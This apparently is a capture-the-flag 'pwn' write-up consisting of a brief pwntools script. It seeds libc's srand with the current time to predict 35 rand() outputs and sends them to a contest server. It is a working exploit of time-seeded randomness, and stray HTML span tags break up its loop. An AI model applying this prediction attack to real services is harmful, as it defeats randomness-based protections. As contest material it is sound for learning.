Tags: pwn
Rating:
from pwn import *
import time
import random
from ctypes import CDLL
from math import floor
libc = CDLL('libc-2.23.so')
s = remote('bitsctf.bits-quark.org',1337)
print s.recv(9999999999)
now = int(floor(time.time()))
libc.srand(now)
for i in range(0,35):<span>
v8 = libc.rand() & 0xF
</span> print v8<span>
s.sendline(str(v8))
</span> print s.recv(999999999999999)